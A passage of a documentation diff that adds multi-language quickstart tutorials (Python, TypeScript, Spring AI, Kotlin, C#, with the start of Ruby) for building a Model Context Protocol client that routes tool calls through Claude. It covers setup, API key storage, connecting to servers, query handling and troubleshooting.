+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+
+ assistant_message_content = []
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ assistant_message_content.append(content)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await self.session.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ assistant_message_content.append(content)
+ messages.append({
+ "role": "assistant",
+ "content": assistant_message_content
+ })
+ messages.append({
+ "role": "user",
+ "content": [
+ {
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": result.content
+ }
+ ]
+ })
+
+ # Get next response from Claude
+ response = self.anthropic.messages.create(
+ model="claude-sonnet-4-20250514",
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ final_text.append(response.content[0].text)
+
+ return "\n".join(final_text)
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```python theme={null}
+ async def chat_loop(self):
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = input("\nQuery: ").strip()
+
+ if query.lower() == 'quit':
+ break
+
+ response = await self.process_query(query)
+ print("\n" + response)
+
+ except Exception as e:
+ print(f"\nError: {str(e)}")
+
+ async def cleanup(self):
+ """Clean up resources"""
+ await self.exit_stack.aclose()
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main():
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ client = MCPClient()
+ try:
+ await client.connect_to_server(sys.argv[1])
+ await client.chat_loop()
+ finally:
+ await client.cleanup()
+
+ if __name__ == "__main__":
+ import sys
+ asyncio.run(main())
+ ```
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with session management and API clients
+ * Uses `AsyncExitStack` for proper resource management
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Sets up proper communication channels
+ * Initializes the session and lists available tools
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Proper cleanup of resources
+ * Error handling for connection issues
+ * Graceful shutdown procedures
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Always wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Use `AsyncExitStack` for proper cleanup
+ * Close connections when done
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider increasing the timeout in your client configuration
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 17 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/sdk dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/sdk/client/index.js";
+ import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content as string,
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-sonnet-4-20250514",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer`
+ * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events)
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-mcp-client-webflux-spring-boot-starter
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-sonnet-4-20250514")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-sonnet-4-20250514",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
